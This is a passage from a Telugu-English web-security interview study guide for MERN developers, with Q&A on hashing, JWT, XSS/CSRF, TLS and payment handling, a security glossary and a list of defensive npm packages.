Q: Salt vs Pepper? A: Salt = per-user random, **DB లో** store, rainbow tables ఆపు. Pepper = app-wide secret, **DB బయట** (env), DB leak అయినా extra layer. రెండూ వేరు purposes.

Q: XSS vs CSRF — one line each? A: XSS = attacker's script victim browser లో run (input escape లేకపోవడం). CSRF = victim's browser తో forged request (cookie auto-send). XSS ఉంటే CSRF defense వృథా — XSS ముందు fix.

Q: JWT ని ఎలా revoke చేస్తావు? A: Pure JWT revoke కుదరదు (stateless). Short-lived access + server-side refresh token (logout లో delete) + అవసరమైతే jti blocklist.

Q: 401 vs 403? A: 401 = not authenticated (login చెయ్); 403 = authenticated కానీ not authorized (హక్కు లేదు).

Q: A MERN login ని secure గా ఎలా design చేస్తావు — end to end? A: HTTPS + input validation (zod) + rate limiting → bcrypt.compare (vague fail message, timing-safe) → success లో short JWT (algorithms explicit, expiresIn) + HttpOnly/Secure/SameSite refresh cookie (server-side stored) → ప్రతి protected route కి authN middleware + authZ (ownership/role) → helmet headers + CORS allowlist + npm audit. Defense in depth ప్రతి పొర.

Q: "Login with Google" — OAuth నా OIDC నా? A: రెండూ — OAuth 2.0 (authorization) పైన OIDC (authentication via ID token). Authorization Code flow: browser కి code, backend లో client_secret తో token exchange, id_token verify.

Q: Least privilege ని ఒక example తో? A: MongoDB app user కి కేవలం అవసరమైన DB మీద readWrite (admin కాదు); JWT లో role, ప్రతి endpoint role-check; cloud లో scoped IAM. Compromise అయినా blast radius చిన్నది.

Q: TLS handshake లో asymmetric ఎందుకు, తర్వాత symmetric ఎందుకు? A: Asymmetric = certificate verify + session key ని safe గా establish (key distribution solve). Symmetric = అసలు data fast encrypt (asymmetric ~1000x slow). Hybrid = రెండింటి best.

Q: Rate limiting ఎక్కడ apply చేస్తావు? A: Login/signup/password-reset (brute force), password-guessing endpoints strict; మొత్తం API కి generic (DDoS); IP + account రెండింటిపై, distributed కి Redis-backed.

Q: Sensitive data ని logs లో పెట్టడం ఎందుకు ప్రమాదం? A: Logs తరచూ less-protected, third-party (Datadog) కి వెళ్తాయి, long retention. Passwords/tokens/PII log అయితే breach surface పెరుగుతుంది. Redact/mask; secrets

ఎప్పుడూ log చేయకు.

Q: Credit card / payment data ని ఎలా handle చేస్తావు? A: సాధ్యమైనంతవరకు **అస్సలు store చేయను** — ఇది PCI-DSS compliance burden + huge liability. బదులుగా **Stripe/Razorpay లాంటి PCI-compliant processor** వాడతా: card details నేరుగా వాళ్ళ SDK కి వెళ్తాయి (నా server card ని ఎప్పుడూ touch చేయదు), వాళ్ళు ఒక **token** తిరిగి ఇస్తారు, ఆ token మాత్రమే నేను store చేస్తా. దీన్ని **tokenization** అంటారు. Store చేయాల్సి వస్తే — encryption at rest + strict access control + PCI scope. CVV ని ఎప్పుడూ store చేయకూడదు.

Q: HTTPS vs SSL — తేడా? A: SSL పాత protocol; అది deprecated (POODLE, weak). **TLS** దాని successor (TLS 1.2, 1.3). "SSL certificate" అనే మాట అలవాటుగా వాడతాం కానీ technically అది TLS. Production లో TLS 1.2+ (ideally 1.3) మాత్రమే enable చేయాలి, పాత SSL/early TLS disable.

Key Points

- **Security = mindset + habits**, feature కాదు — validation, authz, secrets, headers ప్రతి endpoint లో.
- **Checklist run చేయి** ship ముందు: auth (bcrypt), tokens (HttpOnly/expiry), authz (IDOR), injection (parameterize/sanitize), transport (HTTPS/helmet/CORS), secrets (env), deps (audit).
- **Common blunders:** localStorage JWT, encrypt-not-hash password, missing ownership check, `req.body` mass-assign, `cors('*')` , client-only validation, committed secrets.
- **Defense in depth ప్రతిచోటా** — ఒక్క control fail అయినా మిగతావి కాపాడతాయి.
- Interview లో ఎప్పుడూ **attack + defense రెండూ** చెప్పు, real code/example తో ground చేయి.

Interview దృష్టి

Q: "Is our app secure?" అని manager అడిగితే ఎలా answer చేస్తావు? A: "Secure" అనేది binary కాదు — risk management. నేను threat model చేసి (assets, attackers, entry points), OWASP Top 10 కి వ్యతిరేకంగా audit చేసి, defense-in-depth layers (auth, authz, input validation, transport, secrets, deps, monitoring) verify చేస్తా. ఒక security checklist run చేసి, `npm audit` , penetration test, dependency scan చేస్తా. Continuous process — ఒకసారి "done" కాదు; monitoring + patching కొనసాగుతుంది. ఏ layer బలహీనమో, ఏ risk accept చేస్తున్నామో transparent గా చెప్తా.

Q: మీరు ఒకే ఒక్క security practice మాత్రమే enforce చేయగలిగితే, ఏది? A: కష్టమైన ఎంపిక, కానీ **"అన్ని external input ని untrusted గా treat చేయడం + అన్ని output/query ని context-safe గా handle చేయడం"** (validate input, parameterize queries, encode output). ఇది injection, XSS, NoSQL injection, mass-assignment — OWASP లో చాలా వాటిని ఒకేసారి కవర్ చేస్తుంది. దగ్గరగా రెండోది: passwords bcrypt + proper session/cookie handling. కానీ నిజం — ఒక్క practice ఎప్పుడూ చాలదు; defense in depth కావాలి.

Q: Non-CS background నుండి security ఎలా నేర్చుకోవాలి? A: Attacker mindset develop చేయడం — ప్రతి feature దగ్గర "దీన్ని ఎలా విరిచేయగలను?" అని అడగడం. OWASP Top 10 + OWASP Cheat Sheets చదవడం, deliberately-vulnerable apps (DVWA, OWASP Juice Shop) లో hands-on practice, తర్వాత సొంత code లో ఆ patterns fix చేయడం. ఈ doc లోని ప్రతి attack ని ఒకసారి own machine మీద reproduce చేసి fix చేస్తే — జీవితంలో మర్చిపోవు. Security అనేది framework కాదు, **ఆలోచనా విధానం** — అది practice తో వస్తుంది.

Appendix — Glossary & Security Tools (quick reference)

Interview ముందు ఒక్కసారి కళ్ళు తిప్పడానికి – ప్రతి term ఒక్క వాక్యంలో:

Term	ఒక్క వాక్యంలో
CIA	Confidentiality, Integrity, Availability — security 3 goals
AuthN / AuthZ	Authentication (నువ్వెవరు) / Authorization (హక్కు ఉందా)
Encryption	reversible (key తో decrypt); confidentiality కి
Hashing	one-way (irreversible); integrity/passwords కి
Symmetric / Asymmetric	ఒకే key (AES) / public+private జత (RSA, ECC)
HMAC	hash + secret key → integrity + authenticity (webhooks, JWT)
CSPRNG	secure random (crypto.randomBytes); Math.random కాదు
Salt / Pepper	per-user random (DB లో) / app-wide secret (DB బయట)
bcrypt/argon2	slow, salted password hashing
TLS / HTTPS	transport encryption + integrity + authentication (certificate)
CA / PKI	Certificate Authority / trust framework
HSTS	"ఎప్పుడూ HTTPS" — downgrade ఆపు
mTLS / PFS	mutual TLS (రెండువైపులా cert) / forward secrecy
JWT	header.payload.signature — signed stateless token
OAuth / OIDC	delegated authorization / authentication layer (Login with Google)
SSO / MFA / TOTP	single sign-on / multi-factor / 6-digit time code
PKCE	SPA/mobile OAuth — secret లేకుండా code exchange
SOP / CORS	Same-Origin Policy / దాన్ని relax చేసే mechanism
CSP	script sources restrict (XSS defense-in-depth)
XSS	attacker's JS ఇతరుల browser లో run
CSRF	victim's cookie తో forged request
SQLi / NoSQLi	query లో input inject (SQL / MongoDB operator)
IDOR / BOLA	ID మార్చి ఇతరుల resource access (broken access control)
SSRF	server ద్వారా internal request
MITM	man-in-the-middle (traffic చదవడం/మార్చడం)
DoS / DDoS / ReDoS	availability attack / distributed / regex-based
TOCTOU	race condition (check-to-use మధ్య state మార్పు)
RCE	remote code execution (attacker server మీద code run)

Security npm packages (MERN toolkit):

Package	పని
`bcrypt / argon2`	password hashing
`jsonwebtoken`	JWT sign/verify
`helmet`	security headers ఒక్క line
`cors`	CORS config
`express-rate-limit`	rate limiting (brute force/DDoS)
`express-mongo-sanitize`	NoSQL injection ఆపు
`dompurify`	HTML sanitize (XSS)
`zod / joi / express-validator`	input validation
`otplib / speakeasy`	TOTP/MFA
`passport`	OAuth/SSO strategies
`dotenv`	env vars (secrets)

> **ముగింపు.** ఇక్కడిదాకా వచ్చావంటే — CIA triad నుండి cryptography, hashing, passwords, TLS, auth, JWT, OAuth, XSS, CSRF, injection, IDOR/SSRF, secure coding దాకా — ఒక MERN engineer కి కావలసిన security foundation పూర్తయింది. గుర్తుంచుకో: **security ఒక destination కాదు, ఒక practice.** ప్రతి line రాసేటప్పుడు "ఒక attacker దీన్ని ఎలా exploit చేస్తాడు?" అని అడుక్కో — ఆ ఒక్క అలవాటు నిన్ను safe engineer గా మారుస్తుంది. Attack + defense రెండూ తెలిస్తేనే నిజమైన SSE. "ఒకసారి చదివితే జీవితంలో మర్చిపోకూడదు" — ఇప్పుడు ఇది నీది. 🔐